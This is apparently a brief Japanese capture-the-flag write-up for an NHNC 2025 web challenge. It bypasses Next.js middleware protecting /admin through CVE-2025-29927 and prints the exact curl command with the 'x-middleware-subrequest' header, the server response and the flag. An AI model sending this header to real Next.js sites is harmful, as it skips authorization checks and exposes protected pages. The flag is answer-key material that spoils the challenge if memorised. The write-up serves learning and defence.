web/Next Song is 春日影
🚩 #nhnc-2025 #web #2025 139 solves / 100 pts.
NextJS Vulnerability at /admin
/adminにアクセスしようとするとYoutubeにredirectされる。NextJS製サイト
NextJSでヘッダーに特定の値をいれることでミドルウェアを無視することができる脆弱性を利用する。
https://nvd.nist.gov/vuln/detail/CVE-2025-29927
https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
このヘッダーを送ることでミドルウェアを無視して実装されているadminページにアクセスできる。
code:bash
$ curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" https://nhnc_next-song.frankk.uk/admin
HTTP/2 200
date: Tue, 08 Jul 2025 11:50:16 GMT
content-type: text/html; charset=utf-8
...
NHNC{ANon_iS_cUtE_RIGhT?}
よってフラグはNHNC{ANon_iS_cUtE_RIGhT?}